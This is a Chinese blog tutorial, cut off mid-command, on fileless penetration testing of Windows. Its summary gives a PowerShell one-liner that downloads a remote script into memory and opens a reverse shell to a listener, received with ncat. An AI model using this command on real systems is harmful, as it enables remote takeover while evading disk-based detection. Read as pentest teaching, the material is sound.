渗透测试之无文件渗透简单使用-windows

最新推荐文章于 2022-10-29 10:09:25 发布

码同学软件测试

最新推荐文章于 2022-10-29 10:09:25 发布

阅读量691

点赞数

本文链接：https://blog.csdn.net/Testfan_zhou/article/details/92580968

版权

本文介绍了无文件渗透测试的工作原理，它不将文件复制到硬盘，而是将payload注入内存执行，使得恶意软件难以被追踪。在Windows系统中，通过远程加载PowerShell脚本到内存反弹shell，利用命令`powershell IEX (New-Object Net.WebClient).DownloadString('url');Invoke-PowerShellTcp -Reverse -IPAddress ip -port port`实现。同时，使用ncat接收反弹的会话。通过检查powershell进程和文件是否存在验证无文件执行。

摘要由CSDN通过智能技术生成

无文件渗透测试工作原理：无文件恶意程序最初是由卡巴斯基在2014年发现的，一直不算是什么主流的攻击方式，直到此次事件的发生。说起来无文件恶意程序并不会为了执行而将文件或文件夹复制到硬盘上，反而是将payloads直接注入正在运行程序的内存，导致恶意软件直接在系统内存中执行，也让专家很难在系统重启之后找到此恶意软件的踪迹。

在日常的渗透测试中，如果使用无文件渗透，那么也同样可以保证在执行恶意测试程序时没有任何的文件落地，直接加载到内存中执行，本文分为两篇，将分别针对windows和linux系统分别简单介绍下如何进行无文件渗透测试实战。

首先我们要确定下我们在什么情况下会到使用无文件渗透的这个地步：

存在命令执行相关漏洞，可直接执行系统命令
通过其他漏洞已经进入测试目标并且可以执行一些系统命令

实际上在理解了命令执行的原理并且保证漏洞可以执行任意系统命令后，我们可以直接在命令行的操作模拟命令执行漏洞利用的操作，所以不要介意为什么说是利用漏洞来进行无文件渗透测试但图里面确实直接在命令行的操作。

在windows下，一般通过远程加载powershell脚本来进行，接下来测试加载某ps1脚本至内存来反弹系统shell（用户会话），测试脚本名为Invoke-PowerShellTcp.ps1，脚本内容不给出，仅做无文件渗透测试样例使用，具体利用方式如下：
在这里插入图片描述 powershell IEX (New-Object Net.WebClient).DownloadString(‘<